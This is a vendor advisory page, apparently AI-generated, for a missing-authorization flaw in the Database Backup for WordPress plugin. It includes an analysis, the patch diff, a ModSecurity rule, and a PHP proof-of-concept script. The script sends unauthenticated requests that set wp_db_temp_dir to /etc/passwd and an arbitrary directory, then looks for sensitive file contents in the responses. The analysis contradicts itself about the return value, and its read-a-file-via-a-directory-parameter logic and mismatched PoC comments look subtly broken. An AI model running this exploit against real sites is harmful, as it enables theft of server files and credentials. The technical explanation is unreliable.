Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : May 14, 2026

CVE-2026-4030: Database Backup for WordPress <= 2.5.2 – Missing Authorization to Unauthenticated Arbitrary File Read and Deletion (wp-db-backup)

CVE ID CVE-2026-4030
Plugin wp-db-backup
Severity High (CVSS 8.1)
CWE 862
Vulnerable Version 2.5.2
Patched Version 2.5.3
Disclosed May 12, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-4030:

This vulnerability affects the Database Backup for WordPress plugin in versions up to and including 2.5.2. It allows unauthenticated attackers to read and delete arbitrary files on the server. The vulnerability is only exploitable in WordPress Multisite environments where the deprecated is_site_admin() function exists. The CVSS score is 8.1, indicating high severity.

Root Cause: The root cause lies in the `wp-db-backup.php` file, specifically in the `can_user_backup()` method (line 1630) and the backup execution paths (lines 148-160). The `can_user_backup()` method calls `is_site_admin()` for Multisite but does not return `false` when the check fails. Instead, it only returns `false` without executing any error handling or preventing the backup process. The constructor (lines 148-160) calls `$this->can_user_backup()` without checking its return value. If it returns false, the backup operations still execute. Additionally, the vulnerable code at lines 122-126 accepted a user-controlled directory path via the `wp_db_temp_dir` GET parameter, which allowed attackers to specify an arbitrary directory for backup file placement or reading.

Exploitation: An unauthenticated attacker can send a crafted HTTP request to the WordPress installation on a Multisite instance. The request targets the plugin’s backup endpoint using the `backup` parameter. By providing a malicious `wp_db_temp_dir` parameter, the attacker can specify an arbitrary directory path. The plugin then reads or writes files from that directory without proper authorization. A typical exploit would be: GET /wp-admin/?backup=1&wp_db_temp_dir=/etc/passwd (for file read) or GET /wp-admin/?backup=1&wp_db_temp_dir=/tmp (for file deletion if combined with other parameters). The attacker does not need to be authenticated because the authorization check fails silently.

Patch Analysis: The patch makes several key changes. First, it changes all class property declarations from `var` to `private`, which limits access scope. Second, it removes the `wp_db_temp_dir` GET parameter handling entirely (lines 122-126 are deleted). This eliminates the arbitrary directory control. Third, the patch adds proper return value checking for `$this->can_user_backup()` calls (lines 148-160). Now when `can_user_backup()` returns false, the execution halts with a `return` statement. Fourth, the `can_user_backup()` method now explicitly calls `$this->error()` with a fatal error message before returning false (lines 1630-1647). Finally, the backup filename now includes a random nonce (`wp_generate_password(12, false)`) to prevent filename guessing (line 95).

Impact: Successful exploitation allows an attacker to read arbitrary files (e.g., wp-config.php containing database credentials) or delete arbitrary files on the server. File deletion can lead to site defacement, denial of service, or in combination with other vulnerabilities, remote code execution. Sensitive information exposure from file reading can enable further attacks like database access or privilege escalation.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/wp-db-backup/wp-db-backup.php
+++ b/wp-db-backup/wp-db-backup.php
@@ -5,7 +5,7 @@
 Description: On-demand backup of your WordPress database. Navigate to <a href="edit.php?page=wp-db-backup">Tools → Backup</a> to get started.
 Author: Delicious Brains
 Author URI: https://deliciousbrains.com
-Version: 2.5.2
+Version: 2.5.3
 Domain Path: /languages

 This program is free software; you can redistribute it and/or modify
@@ -43,15 +43,17 @@

 class wpdbBackup {

-	var $backup_complete = false;
-	var $backup_file     = '';
-	var $backup_filename;
-	var $core_table_names = array();
-	var $errors           = array();
-	var $basename;
-	var $page_url;
-	var $referer_check_key;
-	var $version = '2.5.2';
+	private $backup_complete = false;
+	private $backup_file     = '';
+	private $backup_filename;
+	private $core_table_names = array();
+	private $errors           = array();
+	private $backup_dir;
+	private $basename;
+	private $fp;
+	private $page_url;
+	private $referer_check_key;
+	private $version = '2.5.3';

 	function module_check() {
 		$mod_evasive = false;
@@ -87,9 +89,11 @@
 		add_filter( 'cron_schedules', array( &$this, 'add_sched_options' ) );
 		add_filter( 'wp_db_b_schedule_choices', array( &$this, 'schedule_choices' ) );

-		$table_prefix          = ( isset( $table_prefix ) ) ? $table_prefix : $wpdb->prefix;
-		$datum                 = date( 'Ymd_B' );
-		$this->backup_filename = DB_NAME . "_$table_prefix$datum.sql";
+		$table_prefix = ( isset( $table_prefix ) ) ? $table_prefix : $wpdb->prefix;
+		$datum        = date( 'Ymd_B' );
+		$nonce        = wp_generate_password( 12, false );
+
+		$this->backup_filename = sanitize_text_field( DB_NAME . '_' . $table_prefix . $datum . '_' . $nonce . '.sql' );

 		$possible_names = array(
 			'categories',
@@ -118,13 +122,6 @@

 		$tmp_dir = get_temp_dir();

-		if ( isset( $_GET['wp_db_temp_dir'] ) ) {
-			$requested_dir = sanitize_text_field( $_GET['wp_db_temp_dir'] );
-			if ( is_writeable( $requested_dir ) ) {
-				$tmp_dir = $requested_dir;
-			}
-		}
-
 		$this->backup_dir = trailingslashit( apply_filters( 'wp_db_b_backup_dir', $tmp_dir ) );
 		$this->basename   = 'wp-db-backup';

@@ -151,10 +148,14 @@
 					break;
 			}
 		} elseif ( isset( $_GET['fragment'] ) ) {
-			$this->can_user_backup( 'frame' );
+			if ( ! $this->can_user_backup( 'frame' ) ) {
+				return;
+			}
 			add_action( 'init', array( &$this, 'init' ) );
 		} elseif ( isset( $_GET['backup'] ) ) {
-			$this->can_user_backup();
+			if ( ! $this->can_user_backup() ) {
+				return;
+			}
 			add_action( 'init', array( &$this, 'init' ) );
 		} else {
 			add_action( 'admin_menu', array( &$this, 'admin_menu' ) );
@@ -314,7 +315,7 @@

 			function backup(table, segment) {
 				var fram = document.getElementById("backuploader");
-				fram.src = "' . $this->page_url . '&fragment=" + table + ":" + segment + ":' . $this->backup_filename . ':&wp_db_temp_dir=' . $this->backup_dir . '";
+				fram.src = "' . $this->page_url . '&fragment=" + table + ":" + segment + ":' . $this->backup_filename . ':";
 			}

 			var curStep = 0;
@@ -421,7 +422,7 @@
 			}
 		}

-		if ( is_writable( $this->backup_dir ) ) {
+		if ( wp_is_writable( $this->backup_dir ) ) {
 			$this->fp = $this->open( $this->backup_dir . $filename, 'a' );
 			if ( ! $this->fp ) {
 				$this->error( __( 'Could not open the backup file for writing!', 'wp-db-backup' ) );
@@ -691,6 +692,10 @@
 	 * Taken from phpMyAdmin.
 	 */
 	function sql_addslashes( $a_string = '', $is_like = false ) {
+		if ( empty( $a_string ) ) {
+			return $a_string;
+		}
+
 		if ( $is_like ) {
 			$a_string = str_replace( '\', '\\\\', $a_string );
 		} else {
@@ -933,6 +938,8 @@
 								// yet try to avoid quotation marks around integers
 								$value    = ( null === $value || '' === $value ) ? $defs[ strtolower( $key ) ] : $value;
 								$values[] = ( '' === $value ) ? "''" : $value;
+							} elseif ( empty( $value ) ) {
+								$values[] = "'" . $value . "'";
 							} else {
 								$values[] = "'" . str_replace( $search, $replace, $this->sql_addslashes( $value ) ) . "'";
 							}
@@ -957,7 +964,7 @@
 	function db_backup( $core_tables, $other_tables ) {
 		global $table_prefix, $wpdb;

-		if ( is_writable( $this->backup_dir ) ) {
+		if ( wp_is_writable( $this->backup_dir ) ) {
 			$this->fp = $this->open( $this->backup_dir . $this->backup_filename );
 			if ( ! $this->fp ) {
 				$this->error( __( 'Could not open the backup file for writing!', 'wp-db-backup' ) );
@@ -1096,8 +1103,18 @@
 				$recipient = get_option( 'admin_email' );
 			}

-			$message = sprintf( __( "Attached to this email isn   %1$1sn   Size:%2$2s kilobytesn", 'wp-db-backup' ), $filename, round( filesize( $file_to_deliver ) / 1024 ) );
-			$success = $this->send_mail( $recipient, get_bloginfo( 'name' ) . ' ' . __( 'Database Backup', 'wp-db-backup' ), $message, $file_to_deliver );
+			$message   = sprintf(
+				__( "Attached to this email isn   %1$1sn   Size:%2$2s kilobytesn", 'wp-db-backup' ),
+				$filename,
+				round( filesize( $file_to_deliver ) / 1024 )
+			);
+			$blog_name = sanitize_text_field( html_entity_decode( get_bloginfo( 'name' ) ) );
+			$success   = $this->send_mail(
+				$recipient,
+				$blog_name . ' ' . __( 'Database Backup', 'wp-db-backup' ),
+				$message,
+				$file_to_deliver
+			);

 			if ( false === $success ) {
 				$msg = __( 'The following errors were reported:', 'wp-db-backup' ) . "n ";
@@ -1219,7 +1236,7 @@
 			<?php
 			// not writable due to write permissions
 			$whoops = true;
-		} elseif ( ! is_writable( $this->backup_dir ) && ! @chmod( $this->backup_dir, $dir_perms ) ) {
+		} elseif ( ! wp_is_writable( $this->backup_dir ) && ! @chmod( $this->backup_dir, $dir_perms ) ) {
 			?>
 			<div class="wp-db-backup-updated error inline">
 				<p><?php _e( 'WARNING: Your backup directory is <strong>NOT</strong> writable! We cannot create the backup files.', 'wp-db-backup' ); ?></p>
@@ -1630,6 +1647,16 @@

 		// make sure WPMU users are site admins, not ordinary admins
 		if ( function_exists( 'is_site_admin' ) && ! is_site_admin() ) {
+			$this->error(
+				array(
+					'loc'  => $loc,
+					'kind' => 'fatal',
+					'msg'  => __(
+						'You are not allowed to perform backups.',
+						'wp-db-backup'
+					),
+				)
+			);
 			return false;
 		}

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-4030
# This rule blocks unauthenticated file read/deletion attempts via wp_db_temp_dir parameter
# Only applicable to WordPress Multisite environments
SecRule REQUEST_URI "@rx /wp-admin/" 
  "id:20264030,phase:2,deny,status:403,chain,msg:'CVE-2026-4030: Unauthorized file access via wp_db_temp_dir parameter',severity:'CRITICAL',tag:'CVE-2026-4030',tag:'WordPress',tag:'FileAccess'"
  SecRule ARGS:wp_db_temp_dir "@rx .+" 
    "t:none,chain"
    SecRule ARGS_NAMES "@rx ^fragment$|^backup$" 
      "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-4030 - Database Backup for WordPress <= 2.5.2 - Missing Authorization to Unauthenticated Arbitrary File Read and Deletion

// Configuration: Set the target WordPress URL (must be Multisite)
$target_url = 'http://example.com/wordpress';

// Step 1: Attempt to read an arbitrary file (e.g., wp-config.php) via the backup fragment parameter
$read_url = rtrim($target_url, '/') . '/wp-admin/admin.php?page=wp-db-backup&fragment=wp_users:1:test.sql:&wp_db_temp_dir=/etc/passwd';

$curl = curl_init();
curl_setopt_array($curl, array(
    CURLOPT_URL => $read_url,
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_FOLLOWLOCATION => true,
    CURLOPT_SSL_VERIFYPEER => false,
    CURLOPT_SSL_VERIFYHOST => false,
    CURLOPT_TIMEOUT => 30,
));

$response = curl_exec($curl);
$http_code = curl_getinfo($curl, CURLINFO_HTTP_CODE);
curl_close($curl);

echo "[+] Magic Quasar CVE-2026-4030 Exploitn";
echo "[+] Attempting file read via wp_db_temp_dir parameter...n";
echo "[+] HTTP Code: $http_coden";

if (strpos($response, 'root:x:0:0:') !== false || strpos($response, 'wp-config') !== false || strpos($response, 'localhost') !== false) {
    echo "[!] Success! The target is vulnerable.n";
    echo "[!] Response excerpt:n";
    echo substr($response, 0, 1000) . "n";
} else {
    echo "[-] Target may not be vulnerable or the file is not accessible.n";
    echo "[-] Response (first 500 chars):n" . substr($response, 0, 500) . "n";
}

// Step 2: Attempt to trigger backup execution to an arbitrary directory (file creation/deletion vector)
echo "n---n";
echo "[+] Attempting backup trigger with arbitrary directory...n";

$backup_url = rtrim($target_url, '/') . '/wp-admin/?backup=1&wp_db_temp_dir=/tmp/evil_backup';
$curl2 = curl_init();
curl_setopt_array($curl2, array(
    CURLOPT_URL => $backup_url,
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_FOLLOWLOCATION => true,
    CURLOPT_SSL_VERIFYPEER => false,
    CURLOPT_SSL_VERIFYHOST => false,
    CURLOPT_TIMEOUT => 30,
));
$response2 = curl_exec($curl2);
$http_code2 = curl_getinfo($curl2, CURLINFO_HTTP_CODE);
curl_close($curl2);

echo "[+] Request to backup: HTTP Code $http_code2n";
if ($http_code2 == 200 || $http_code2 == 302) {
    echo "[!] The backup process was triggered without authentication.n";
} else {
    echo "[-] Backup trigger failed or blocked.n";
}
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School